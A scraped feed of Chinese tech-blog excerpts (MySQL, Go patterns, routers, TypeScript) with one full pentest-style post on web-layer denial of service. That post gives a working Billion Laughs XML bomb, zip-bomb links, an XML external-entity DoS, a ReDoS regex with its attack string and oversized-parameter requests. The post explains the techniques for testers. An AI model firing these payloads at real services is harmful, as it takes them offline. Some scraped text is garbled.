- 博客 Jiajun的编程随想 2020-08-15 08:00:00《NSQ简明教程》周末试了一下NSQ，发现挺好用的，简单方便。NSQ是一个消息队列，比如异步任务时，我们需要一个broker，或者是将日志统一处理时，我们需要一个日志流中间件。NSQ就可以用来干这个...
- 博客 轶哥博客 2020-08-14 20:26:12<>PHP获取客户端真实IP地址，需要根据具体的服务器环境来确定使用哪种方法。目前搜索到的方法，大多是直接贴代码，没有针对不同情况作出说明，有可能导致系统被假IP骗过（IP欺骗）。<>很多文章都提到“无法保证获取到的访客IP地址100%准确”，是否意味着PHP获取访客IP一定有漏洞可钻呢？<>只要根据实际部署情况选择相对应的代码获取访客IP地址，是可以确保程序不被假IP欺骗的。
- 博客 Jiajun的编程随想 2020-08-11 08:00:00《结合Redis与MySQL实现又快又好的数据方案》要速度快，我们一般会选择Redis，不过同等价格的情况下，内存容量终究比不过硬盘大小，对于大量数据，MySQL是更好的选择。不过，我们可以结合Redis和MySQL实现，将热点数据存储在Redis中，将不热的数据存储在MySQL中...
- 博客 轶哥博客 2020-08-07 19:26:16<>C/C++、Java、JavaScrit等语言，都有计算不精准的问题。原因是这些语言在计算的时候遵循IEEE 二进制浮点数算术标准（IEEE 754），跟CPU浮点运算器有关系。
- 博客 轶哥博客 2020-08-06 23:14:57<>所有的路由器都可以当做交换机使用。在现今WIFI6大放异彩的时代，家里可能淘汰了一些旧路由，同时又新增了一些网络设备。可以通过简单设置，将闲置路由器作为交换机使用。
进入路由器管理后台设置界面
<>将网线连接到路由器任意LAN口，或通过WIFI连接到路由器网络中。在电脑浏览器上通过192.168.1.1进入路由器管理后台，如果无法访问，可以查看网络设置属性中的网关地址，网关地址即为路由器设置界面的访问地址。 - 博客 轶哥博客 2020-08-06 21:44:22
- 博客 轶哥博客 2020-08-06 13:34:03
- 博客 轶哥博客 2020-08-04 23:44:06<>为了方便大家快速集成，我将推送URL到百度、谷歌、Big搜索引擎的功能整合至umit-url模块中。<>模块支持两种方式调用，如果您使用的是海外服务器，且使用Node.j作为服务器端，可以通过
m itall umit-url的方式安装该模块。否则，请运行模块作为HTTP服务，您的程序通过调用此HTTP API来提交网址，确保推送到谷歌和Big搜索引擎的稳定。 - 博客 Holmesian Blog 2020-08-01 09:29:00无意之中发现博客会间歇性无法访问，具体表现为部分请求长时间被 pengding ，一直处于 stalled 状态，复现条件不明确，时而出现时而正常。一开始还以为是这个评论中描述的因为OCSP 封...
- 博客 构建我的被动收入 2020-08-01 08:00:00被动收入投资组合2020年07月月报
- 博客 Jiajun的编程随想 2020-07-28 08:00:00《程序员的MySQL手册(五)：索引优化》随着产品的迭代，数据库中的数据一直在变更，索引也要跟着变更才能顺应时代，哦不，顺应数据的要求。当索引不够好用时---通常是一波请求高峰击溃了系统，或者是提前发现查询性能不够高，我们就需要对查询进行诊断，判断当前是否...
- 博客 Jiajun的编程随想 2020-07-27 08:00:00《程序员的MySQL手册(四)：索引设计》在了解了第三节的情况下，我们设计两个表，关系如下：```sql...
- 博客 Jiajun的编程随想 2020-07-26 08:00:00《程序员的MySQL手册(三)：数据库设计》这一篇我们会讲解数据库设计的准则，介绍常见的数据类型，以及数据库范式和反范式，和他们的应用。## 数据库设计的准则...
- 博客 Jiajun的编程随想 2020-07-25 08:00:00《Linux窗口管理器下的截图》Linux使用窗口管理器时，也想做到截图然后保存到剪贴板，之后就可以到处贴比如贴到虚拟机里的Windows，不过如果直接使用截图工具的话，是没有办法保存到剪贴板的，不过使用xclip可以做到。我使用的是XMonad，加这么一行...
- 博客 Jiajun的编程随想 2020-07-23 08:00:00《Go设计模式：facade模式和观察者模式》## facade模式(外观模式)初看这个名字，觉得很陌生。但是我说这个模式，其实就是抽象封装，那么我想它就不陌生了。facade模式的作用就是，原本随着项目...
- 博客 Jiajun的编程随想 2020-07-23 08:00:00《程序员的MySQL手册(二): 监控与benchmark》这一节我们主要讲解如何监控MySQL的性能数据，以及如何对MySQL进行压测。## 使用Prometheus进行监控...
- 博客 轶哥博客 2020-07-21 14:56:34<>在开发博客
Githu登录功能，缓存Githu头像的时候，发现下载头像是个很费劲的事情。<>利用位于HK的PHP虚拟主机，可以轻松解决这个问题。<>伪静态依赖Aache的Rewrite模块。 - 博客 Jiajun的编程随想 2020-07-21 08:00:00《Go设计模式: 责任链模式》今天我们来介绍责任链模式，从名字可以看出来，它应当是一系列的操作。的确如此，看看维基百科的定义：> 责任链模式在面向对象程式设计里是一种软件设计模式，它包含了一些命令对象和一系列的处理对象...
- 博客 轶哥博客 2020-07-21 00:14:40<>如果使用Chrome浏览器访问XML地址，返回报错信息：
Iut i ot roer UTF-8, idicate ecodig !Byte: 0x08 0xE6 0xBA 0x90 - 博客 轶哥博客 2020-07-20 00:11:37<>玩客云是性价比极高的NAS，用来作单臂路由同样给力。玩客云作为单臂路由，可以在提供NAS功能的同时可以用来作为We测试服务器、APP测试工具等。<>很抱歉，不同的人对OeWRT的用法不同，就像一把刀，有人用来切菜，有人用来行凶。因此，OeWRT固件不提供，请自行查找。
准备工作
- 下载玩客云OeWRT固件、晶晨刷机工具 Amlogic USB Burig Tool、晶晨805Flah（与OeWRT固件配套）。
- 公对公USB线。
- 博客 Jiajun的编程随想 2020-07-15 08:00:00《我们真的需要这么复杂的技术栈吗？》现在业界流行的是k8s全家桶, ELK全家桶, Gitlab全家桶。分别使用他们的如下能力和作用：- k8s: 自动调度，自动扩容...
- 博客 Jiajun的编程随想 2020-07-14 08:00:00《Go设计模式：装饰器模式》今天我们来介绍decorator这个经典的设计模式。如果使用过python的话，我想decorator都不用我介绍了，我们来看个例子：```python...
- 博客 构建我的被动收入 2020-07-07 08:00:00本文介绍了如何使用TiddlyWiki打造个人长期的知识管理系统（图片使用AWS S3云存储管理），同时介绍了OneNote、EveryNote、Emacs Org等工具的优缺点
- 博客 Jiajun的编程随想 2020-07-05 08:00:00《程序员的MySQL手册(一): 安装，基本配置》这是《程序员的MySQL手册》第一篇。这个系列主要是把作为开发，日常工作中需要用到MySQL的方方面面作一个总结，除去了一部分运维工作，主要包括...
- 博客 构建我的被动收入 2020-07-04 08:00:00被动收入投资组合2020年06月月报
- 博客 Jiajun的编程随想 2020-07-04 08:00:00《ElasticSearch学习笔记》## 搭建单节点ES用Docker来搭建是比较简单的方式...
- 博客 Jiajun的编程随想 2020-07-02 08:00:00《Go设计模式：composite模式》典型的composite模式，是这样的，对于多个对象，由于我们只需要其中一部分共同的操作，因此我们可以通过定义一个父类，来规定我们所需要的操作，却并不管具体每个子类到底是什么样的。看下维基百科的定义...
- 博客 庭说 2020-06-29 00:00:00
- Windows 用户可以使用 PuTTY（读 [ˈpʌti] ）连接 VPS。
- macOS 用户可以使用苹果电脑自带的终端（Terminal）连接 VPS。
下载 PuTTY
3.0 M 左右。
- 32 位系统：putty-0.74-installer.msi
- 64 位系统：putty-64bit-0.74-installer.msi
PuTTY 中如何复制粘贴
- 要将复制的文本粘贴到终端（PuTTY 的 SSH 登录后的界面）里，只需要右键单击就行了
- 要从终端中复制文本，只需要用鼠标左键拖拉选中即可
使用 PuTTY
- Host Name (or IP address)：输入 VPS 的 IP Address（以 44.55.666.777 为例）
- Port：22
- Connection type：SSH
- Save
- Open：弹出 PuTTY Security Alert，选择
是 - login as：root
- root@44.55.666.777's Password：复制 VPS 的 Password，鼠标右键粘贴（界面上不会显示任何内容），回车。显示
[root@vultr ~]#则代表连接成功（第一次登录的时候，会出现安全警告，单击是（Y））
快捷登录
右键 PuTTY 的快捷方式，依次选择「属性」 - 「快捷方式」 - 「目标」 - 在
"*:\Program Files\PuTTY\putty.exe"后面空一格输入root@IP Address -pw "Password"，完整展示如下："D:\Program Files\PuTTY\putty.exe" root@44.55.666.777 -pw "FuckGFW" - 博客 Jiajun的编程随想 2020-06-25 08:00:00《拯救删除ZFS之后的分区表》本想安装在笔记本上安装FreeBSD+Linux双系统，不过总是引导不起来，遂放弃。删除分区表之后，准备调整分区大小，结果发现gparted里，显示的只有zfs一个分区，但是lsblk却又是正常的。经过搜索发现是ZFS写入了metainfo，于是就看怎么删除...
- 博客 Jiajun的编程随想 2020-06-23 08:00:00《Linux使用redshift自动调整屏幕色温》多年以前使用Windows的时候，我会安装flux来根据时间调整屏幕色温，这样在晚上的时候，就不那么刺眼。Linux下有开源实现...
- 博客 Randy's Blog 2020-06-22 08:00:001425
- 博客 Vulkey_Chen's Blog 2020-06-22 00:00:00
Web层面上的那些拒绝服务攻击(DoS)
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，Vulkey_Chen(戴城)不为此承担任何责任。
Vulkey_Chen(戴城)拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。
未经Vulkey_Chen(戴城)允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
本文所需一定基础知识方能顺畅的进行阅读和理解，基础知识请读者自行搜索学习。
前言
相信很多师傅都了解DDoS攻击，也就是分布式拒绝服务，但这类攻击在很多时候拼的是资源，从攻击者的角度来看进行此类攻击还是需要一定“成本”的，从受害者的角度来看防御此类攻击的“成本”更是昂贵！
拒绝服务是一个老生常谈的话题，而发生在Web层面的拒绝服务风险一直不被重视；虽然其不如RCE、SQLi之类的漏洞更加直接的影响数据和服务，但令服务器宕机这类风险还是不容小视。
试想如果攻击者去利用不费成本的Web层拒绝服务风险造成服务器、应用、模块…瘫痪宕机，岂不是令那些斥巨资建设/购买“DDoS防护”一脸懵～
原理及案例
资源生成大小可控
现在有许多资源是由服务器生成然后返回给客户端的，而此类“资源生成”接口如若有参数可以被客户端控制（可控），并没有做任何资源生成大小限制，这样就会造成拒绝服务风险。
此类场景多为：图片验证码、二维码
实际场景
图片验证码在登录、注册、找回密码…等功能比较常见：
关注一下接口地址：
https://attack/validcode?w=130&h=53参数值：
w=130&h=53，我们可以理解为生成的验证码大小长为130，宽为53可以将
w=130修改为w=130000000000000000，让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。
Zip炸弹
不知道各位有没有听说过Zip炸弹，一个42KB的压缩文件(Zip)，解压完其实是个
4.5PB的“炸弹”。先不说
4.5PB这个惊人的大小，光解压都会占用极大的内存。该文件的下载地址：https://www.bamsoftware.com/hacks/zipbomb/42.zip
解压这个
42.zip以后会出现16个压缩包，每个压缩包又包含16个，如此循环5次，最后得到16的5次方个文件，也就是1048576个文件，这一百多万个最终文件，每个大小为4.3GB。 因此整个解压过程结束以后，会得到1048576 * 4.6 GB = 4508876.8 GB，也就是4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB。通过以上说明，我们可以寻找存在解压功能的Web场景进行拒绝服务攻击，但是这里有一个前置条件就是需要解压并可以递归解压。
那我们想要完成这一攻击就非常的困难了，“前辈”也提到了非递归的Zip炸弹，也就是没有嵌套Zip文件文件的，如下表格：
名称 解压结果 zbsm.zip 42 kB → 5.5 GB zblg.zip 10 MB → 281 TB zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible) 存在解压功能的Web场景还是比较多的，可以根据实际业务场景进行寻找。
实际场景
根据实际业务场景发现一处上传模板文件功能，根据简单的测试，发现此处上传Zip文件会自动解压：
这里我选择上传
zbsm.zip上去，看一下服务器反应:
这里整个服务的请求都没有返回结果，成功造成拒绝服务。
XDoS(XML拒绝服务攻击)
XDoS，XML拒绝服务攻击，其就是利用DTD产生XML炸弹，当服务端去解析XML文档时，会迅速占用大量内存去解析，下面我们来看几个XML文档的例子。
Billion Laughs
据说这被称为十亿大笑DoS攻击，其文件内容为：
<!DOCTYPE keyz [ <!ENTITY key "key"> <!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;"> <!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;"> <!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;"> <!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;"> <!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;"> <!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;"> <!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;"> <!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;"> ]> <keyz>&key9;</keyz>这是一段实体定义，从下向上观察第一层发现
key9由10个key8组成，由此类推得出key[n]由10个key[n-1]组成，那么最终算下来实际上key9由10^9(1000000000)个key[..]组成，也算是名副其实了～本地测试解析该XML文档，大概占用内存在2.5GB左右（其他文章中出现的均为3GB左右内存）：
试想：这只是9层级炸弹，如果再多一点呢？
External Entity
外部实体引用，文档内容如下：
<!DOCTYPE keyz [ <!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe"> ]> <keyz>&wechat;</keyz>这个理解起来就很简单了，就是从外部的链接中去获取解析实体，而我们可以设置这个解析URL为一个超大文件的下载地址，以上所举例就是微信的。
当然，我们也可以设置一个不返回结果的地址，如果外部地址不返回结果，那么这个解析就会在此处一直挂起从而占用内存。
Internal Entity
内部实体引用，文档内容如下：
<!DOCTYPE keyz [ <!ENTITY a "a...a"> ]> <keyz>&a;...&a;</keyz>其意思就是实体
a的内容又臭又长，而后又N次引用这个实体内容，这就会造成解析的时候占用大量资源。实际场景
一开始通过此处上传
doc文档的功能，发现了一枚XXE注入，提交后厂商进行修复，但复测后发现其修复的结果就是黑名单SYSTEM关键词，没办法通过带外通道读取敏感数据了～抱着试一试的心态将
Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件，重新打包即可)：
上传之后产生的效果就是网站延时极高，至此就完成了整个测试。
ReDoS(正则表达式拒绝服务攻击)
ReDoS，正则表达式拒绝服务攻击，顾名思义，就是由正则表达式造成的拒绝服务攻击，当编写校验的正则表达式存在缺陷或者不严谨时，攻击者可以构造特殊的字符串来大量消耗服务器的系统资源，造成服务器的服务中断或停止。
在正式了解ReDoS之前，我们需要先了解一下正则表达式的两类引擎：
名称 区别 应用 匹配方式 DFA DFA对于文本串里的每一个字符只需扫描一次，速度快、特性少 awk(大多数版本)、egrep（大多数版本）、flex、lex、MySQL、Procmail… 文本比较正则 NFA NFA要翻来覆去标注字符、取消标注字符，速度慢，但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep（大多数版本）、less、more、.NET语言、PCRE library、Perl、PHP（所有三套正则库）、Python、Ruby、set（大多数版本）、vi… 正则比较文本 文本比较正则：看到一个子正则，就把可能匹配的文本全标注出来，然后再看正则的下一个部分，根据新的匹配结果更新标注。
正则比较文本：看见一个字符，就把它跟正则比较，匹配就标注下来，然后接着往下匹配。一旦不匹配，就忽略这个字符，以此类推，直到回到上一次标注匹配的地方。
那么存在ReDoS的核心就是NFA正则表达式引擎，它的多模式会让自身陷入递归险境，从而导致占用大量CPU资源，性能极差，严重则导致拒绝服务。
NFA 回溯
简单的聊一下什么是回溯，这里有一个正则表达式：
ke{1,3}y其意图很简单，
e字符需要匹配1-3次，k、y匹配一次即可。现在我们遇到了两个需要匹配的字符串：
- keeey
- key
字符串
keeey的匹配过程是一气呵成的：匹配k完成之后，完整匹配e，最后是匹配y字符串
key的匹配过程就发生了回溯，其匹配过程如下图所示（橙色为匹配，黄色为不匹配）：
前两步属于正常，但从第3步开始就不一样了，这里字符串
key已经有一个e被e{1,3}匹配，但它不会就此作罢，而会继续向后用正则e{1,3}匹配字符y，而当发现字符不匹配后，就忽略该字符，返回到上一次标注匹配的字符e再进行一次匹配，至此就发生了一次回溯，最后匹配y结束整个正则匹配过程。那么为什么会产生回溯呢？这跟NFA的贪婪模式有关（贪婪模式默认是开启的）。
NFA 贪婪
我们想要彻底摸清楚整个过程就要抛根问底，究其原理，所以来了解一下贪婪模式～
根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是：不撞南墙不回头
以下所列的元字符，大家应该都清楚其用法：
i.
?: 告诉引擎匹配前导字符0次或一次，事实上是表示前导字符是可选的。 ii.+: 告诉引擎匹配前导字符1次或多次。 iii.*: 告诉引擎匹配前导字符0次或多次。 iv.{min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了，则表示max没有限制；如果逗号和max都被省略了，则表示重复min次。默认情况下，这个几个元字符都是贪婪的，也就是说，它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。
恶意正则表达式
错误的使用以上所列的元字符就会导致拒绝服务的风险，此类称之为恶意的正则表达式，其表现形式为：
- 使用重复分组构造
- 在重复组内会出现：重复、交替重叠
简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分)：
(a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} for x > 10ReDoS 恶意正则检测
对于复杂的恶意正则表达式，靠人工去看难免有些许费劲，推荐一款工具：https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的
readme)该工具支持大批量的正则表达式检测，并给出检测结果。
实际场景
很庆幸的是大多Web脚本语言的正则引擎都为NFA，所以也很方便我们做一些Web层面的挖掘。
做测试的时候大家有没有发现过这样一个逻辑：密码中不能包含用户名
这是一个用户添加的功能，其校验是通过后端的，请求包如下
POST /index/userAdd HTTP/1.1 Host: [host] ... nickname=xxx&password=xxx&...当
password中包含nickname则提示密码中不能包含用户名利用Python简单还原一下后端逻辑：
# -*- coding: utf-8 -*- import sys,re username = sys.argv[1] password = sys.argv[2] regex = re.compile(username) if (regex.match(password)): print u'密码中不能包含用户名' else: print u'用户添加成功'
这时候用户名是一个正则，密码是一个待匹配字符串，而这时候我们都可以进行控制，也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。
恶意的正则表达式：
a(b|c+)+d字符串（我们要想让其陷入回溯模式就不能让其匹配到，所以使用ac......cx的格式即可）：acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx如下图所示ReDoS攻击成功：
我们只需要以同样的方式替换原请求包中的参数值即可（前提是该功能没有限制字符串长度和特殊字符）～
还有更多应用场景等待去发现，这里就不过多赘述了～
数据查询数量可控
想必如下这类接口大家都见多了吧：
/api/getInfo?page=1&page_size=10 ... /api/viewData?startTime=&endTime=1591258015173 ... ...而这类接口通常都是调用数据的，当一个系统数据量十分大（这也是拒绝服务的前提）的时候就需要分页功能去优化性能，那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样？比如
page_size=10000，再去请求会发现服务器明显有返回延迟（大量数据的查询展示）：
那如果是
page_size=100000000000呢？想象一下，从查询到数据格式的处理返回展示，要占用巨大的服务器资源，我们如果尝试去多次重放此类请求，服务器终究还是无法承受这样的“力量”，最后导致宕机…时间参数
startTime也是如此，我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。References
https://bbs.pediy.com/thread-252487.htm
https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf
https://zhuanlan.zhihu.com/p/41800341
- 博客 Jiajun的编程随想 2020-06-21 08:00:00《Go设计模式：桥接模式和策略模式》桥接模式在日常编码中还是经常用到的，这也是我比较喜欢的一个设计模式。从定义上来说，桥接模式比较晦涩难懂：“桥接模式是软件设计模式中最复杂的模式之一，它把事物对象和其具体行为、具体特征分离开来，使它们可以各自独立的变化。”...
- 博客 Jiajun的编程随想 2020-06-20 08:00:00《Go设计模式：单例模式、原型模式和Builder模式》这篇文章记录三个设计模式，因为他们都比较简单，因此较短的篇幅就可以描述完，就把这三个放在一起。## 单例模式...
- 博客 Jiajun的编程随想 2020-06-15 08:00:00《操作系统也是CRUD》起初学习UNIX环境下的编程觉得非常难，毕竟这是一个陌生的东西，但是工作后，照面打得多了，自然就熟悉了些，在此总结一些经验...
- 博客 Jiajun的编程随想 2020-06-13 08:00:00《Go设计模式：简单工厂模式》原始的工厂模式太过于繁冗，我几乎不用。但是简单工厂模式是经常用到的，比如：```python...
- 博客 Jiajun的编程随想 2020-06-13 08:00:00《把USB设备穿透给虚拟机里的系统》最近买了一个NUC8，i5版本，因为听说好装黑苹果，买来之后，看到这么小一个电脑，真的是感叹科技进步速度之快。不过我并不喜欢双系统，也不喜欢macOS，我已经用Linux桌面+Windows虚拟机这套组合8年了，一切都是得心应手。除了一个：最近我在学flutter，没有macOS没法给iOS打包...
- 博客 Jiajun的编程随想 2020-06-12 08:00:00《debug故事之：事务让生活更美好》最近遇到一个故障，接手的项目是一个类似RBAC结构的鉴权系统，用于公司内部的各组织内的管理系统，但是某个接口间歇性返回空数据，这会导致第三方系统判定为无权限，从而让用户从管理后台退出登录...
- 博客 Jiajun的编程随想 2020-06-11 08:00:00《Go设计模式：模板模式》模板模式，大家猜猜是什么？其实我们天天用，离我们最近的就是面向对象里的继承。模板的作用是什么呢？是框定一个框架，但是不填充具体细节，细节由具体的子类来完成，举个例子，如果我们想写一个短信系统，他要对接各种第三方短信，但是其实大家都知道，发短信，大家接口不一样而已，实际上他们可以抽象成相同的流程...
- 博客 轶哥博客 2020-06-11 00:27:32<>贝壳云跟某讯N1配置接近，但是多了4个
USB3.0接口，可以外接USB3.0千兆网卡，可玩性很高。<>网传贝壳云P1跟某讯N1主要差异：- 散热
- 必须拆机焊接USB口才能刷机（引出USB线刷）
USB公头引出USB接线，再短接即可。<>红米AC2100，因NAND闪存原因，使用第三方固件容易翻车。可以使用贝壳云搭配普通路由器实现无线功能，性价比极高。<>N1相关博文《N1刷OeWRT及开启旁路由/单臂路由教程(MacamWi)》 - 博客 庭说 2020-06-11 00:00:00
解决「此电话号码无法用于进行验证」的问题。
如果以下方法失效了，请前往 YouTube 搜索最新的 谷歌账号注册方法。
亲测成功的方法
通过 Google 框架注册
2020 4 月 2 日亲测。
- 在 Android 手机上下载 Go 谷歌安装器。
- 借助「Go 谷歌安装器」安装 Google 三件套（Google 服务框架、Google Play 服务、Google Play 商店 ）。
- 注册 Google 帐号。
运气好的话，甚至不用验证手机号码。
手动安装 Google 三件套的方法：小米 9 安装谷歌商店（Google Play Store）与相关配置 - jdhao
通过 YouTube 注册
2020 6 月 11 日亲测。
- 打开手机 / 电脑上浏览器，例如 Chrome 。
- 打开无痕模式。
- 访问 youtube.com。
- 注册 Google 帐号。
通过 Microsoft Edge 注册
青平散人 亲测。
- 使用 Microsoft Edge 浏览器
- 把 google.com 的语言切换为 English
- 注册
暂未亲测的方法
- 通过 Chrome（谷歌浏览器）注册 Google 帐号。
- 不使用美国的节点访问谷歌，改用香港等地区线路试试。
- 在电话号码验证界面，地区保持
美国不变，不要更改为中国，直接在手机号前加上+86。
- 博客 王子亭的博客 2020-06-10 01:00:00
作为一个 Node.js 开发者，我很早便了解到了 TypeScript，但又因为我对 CoffeeScript 的喜爱，直到 2016 年才试用了一下 TypeScript，但当时对它的学习并不深入，直到最近又在工作中用 TypeScript 开发了两个后端项目，对 TypeScript 有了一些新的理解。
为 JavaScript 添加类型
大家总会把 TypeScript 和其他语言去做对比，说它是在模仿 Java 或 C#，我也曾一度相信了这种说法。但其实并非如此，TypeScript 的类型系统和工作机制是如此的独特，无法简单地描述成是在模仿哪一个语言，更像是在 JavaScript 的基础上重新发明了 JavaScript。
究其根本，TypeScript 并不是一个全新的语言，它是在一个已有的语言 —— 还是一个非常灵活的动态类型语言上添加静态约束。在官方 Wiki 上的 TypeScript Design Goals 中有提到，TypeScript 并不是要从 JavaScript 中抽取出一个具有静态化语义的子集，而是要尽可能去支持之前社区中已有的编程范式，避免与常见的用法产生不兼容。
这意味着 TypeScript 试图为 JavaScript 已有的大量十分「动态」的特性去提供静态语义。一般认为「静态类型」的标志是在编译时为变量确定类型，但 TypeScript 很特殊，因为 JavaScript 本身的动态性，TypeScript 中的类型更像是一种「约束」，它尊重已有的 JavaScript 设计范式，同时尽可能添加一点静态约束 —— 这种约束不会影响到代码的表达能力。或者说，TypeScript 会以 JavaScript 的表达能力为先、以 JavaScript 的运行时行为为先，而静态约束则次之。
这样听起来 TypeScript 是不是很无聊呢，毕竟 Python 也有 Type Checking，JavaScript 之前也有 Flow。的确如此，但 TypeScript 的类型系统的表达能力和工具链的支持实在太强了，并不像其他一些静态类型标注仅能覆盖一些简单的情况，而是能够深刻地参与到整个开发过程中，提高开发效率。
前面提到 TypeScript 并不想发明新的范式，而是要尽可能支持 JavaScript 已有的用法。因此虽然 TypeScript 有着强大的类型系统、大量的特性，但对于 JavaScript 开发者开说学习成本并不高，因为几乎每个特性都可以对应 JavaScript 社区中一种常见的范式。
基于属性的类型系统
在 JavaScript 中，对象（Object）是最常用的类型之一，我们会使用大量的对象字面量来组织数据，我们经常将很多不同的参数塞进一个对象，或者从一个函数中返回一个对象，对象中还可以再嵌套对象。可以说对象是 JavaScript 中最常用的数据容器，但并没有类型去约束它。
例如 request 这个库会要求使用者将发起请求的所有参数一股脑地以一个对象的形式作为参数传入。这就是非常典型的 JavaScript 风格。再比如 JavaScript 中一个 Promise 对象只需有 then 和 catch 这两个实例方法就可以，而并不真的需要真的来自标准库中的 Promise 构造器，实际上也有很多第三方的 Promise 的实现，或一些返回类 Promise 对象的库（例如一些 ORM）。
在 JavaScript 中我们通常只关注一个对象是否有我们需要的属性和方法，这种范式被称为「鸭子类型（Duck typing）」，就是说「当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子，那么这只鸟就可以被称为鸭子」。
所以 TypeScript 选择了一种基于属性的类型系统（Structural type system），这种类型系统不再关注一个变量被标称的类型（由哪一个构造器构造），而是 在进行类型检查时，将对象拆开，抽丝剥茧，逐个去比较组成这个对象的每一个不可细分的成员。如果一个对象有着一个类型所要求的所有属性或方法，那么就可以当作这个类型来使用。
这就是 TypeScript 类型系统的核心 —— Interface（接口）：
interface LabeledValue { label: string}TypeScript 并不关心 Interface 本身的名字，与其说是「类型」，它更像是一种约束。一个对象只要有一个字符串类型的 label 属性，就可以说它满足了 LabeledValue 的约束。它可以是一个其他类的实例、可以是字面量、可以有额外的属性；只要它满足 LabeledValue 所要求的属性，就可以被赋值给这个类型的变量、传递给这个类型的参数。
前面提到 Interface 实际上是一组属性或一组约束的集合，说到集合，当然就可以进行交集、并集之类的运算。例如
type C = A & B表示 C 需要同时满足类型 A 和类型 B 的约束，可以简单地实现类型的组合；而type C = A | B则表示 C 只需满足 A 和 B 任一类型的约束，可以实现联合类型（Union Type）。接下来我会挑选一些 TypeScript 具有代表性的一些特性进行介绍，它们之间环环相扣，十分精妙。
字符串魔法：字面量
在 TypeScript 中，字面量也是一种类型：
type Name = 'ziting'const myName: Name = 'ziting'在上面的代码中，Name 类型唯一合法的值就是 ziting 这个字符串 —— 这看起来毫无意义，但如果我们引入前面提到的集合运算（联合类型）呢？
type Method = 'GET' | 'PUT' | 'DELETE'interface Request { method: Method url: string}上面的代码中我们约束了 Request 的 method 只能是 GET、PUT 和 DELETE 之一，这比单纯地约束它是一个字符串类型要更加准确。这是 JavaScript 开发者经常使用的一种模式 —— 用字符串来表示枚举类型，字符串更灵活也更具有可读性。
在 lodash 之类的库中，JavaScript 开发者还非常喜欢使用字符串来传递属性名，在 JavaScript 中这很容易出错。而 TypeScript 则提供了专门的语法和内建的工具类型来实现对这些字符串字面量的计算，提供静态的类型检查：
interface Todo { title: string description: string completed: boolean}// keyof 将 interface 的所有属性名提取成一个新的联合类型type KeyOfTodo = keyof Todo // 'title' | 'description' | 'completed'// Pick 可以从一个 interface 中提取一组属性，生成新的类型type TodoPreview = Pick<Todo, 'title' | 'completed'> // {title: string, completed: boolean}// Extract 可以找到两个并集类型的交集，生成新的类型type Inter = Extract<keyof Todo, "title" | "author"> // "title"借助这些语法和后面提到的泛型能力，JavaScript 中各种以字符串的形式传递属性名、魔法般的对象处理，也都可以得到准确的类型检查。
类型元编程：泛型
泛型提供了一种将类型参数化的能力，在其他语言中最基本的用途是定义容器类型，使得工具函数可以不必知道被操作的变量的具体类型。JavaScript 中的数组或 Promise 在 TypeScript 中都会被表述为这样的泛型类型，例如 Promise.all 的类型定义可以写成：
function all<T>(values: Array<T | Promise<T>>): Promise<Array<T>>可以看到类型参数可以被用来构造更复杂的类型，进行集合运算或嵌套。
默认情况下，因为类型参数可以是任意的类型，所以不能假定它有某些属性或方法，也就不能访问它的任何属性，只有添加了约束才能遵循这个约束去使用它，同时 TypeScript 会依照这个约束限制传入的类型：
interface Lengthwise { length: number}function logLength<T extends Lengthwise>(arg: T) { console.log(arg.length)}约束中也可以用到其他的类型参数或使用多个类型参数，在下面的代码中我们限制类型参数 K 必须是 obj 的一个属性名：
function getProperty<T, K extends keyof T>(obj: T, key: K) { return obj[key];}除了在函数上使用泛型之外，我们还可以定义泛型类型：
type Partial<T> = { [P in keyof T]?: T[P];}当定义泛型类型时我们实际上是在定义一种处理类型的「函数」，使用泛型参数去生成新的类型，这也被称作「元编程」。例如 Partial 会遍历传入类型 T 的每一个属性，返回一个所有属性都可空的新类型：
interface Person { name: string}const a: Person = {} // 报错 Property 'name' is missing in type '{}' but required in type 'Person'.const b: Partial<Person> = {}前面我们提到的 Pick 和 Extract 都是这样的泛型类型。
在此之外 TypeScript 甚至可以在定义泛型类型时进行条件判断和递归，这使得 TypeScript 的类型系统变成了 图灵完备的，可以在编译阶段进行任何计算。
你可能会怀疑这样复杂的类型真的有用么？其实这些特性更多地是提供给库开发者使用的，对于 JavaScript 社区中的 ORM、数据结构，或者是 lodash 这样的库来说，如此强大的类型系统是非常必要的，lodash 的 类型定义 行数甚至是它本身代码的几十倍。
类型方程式：自动推导
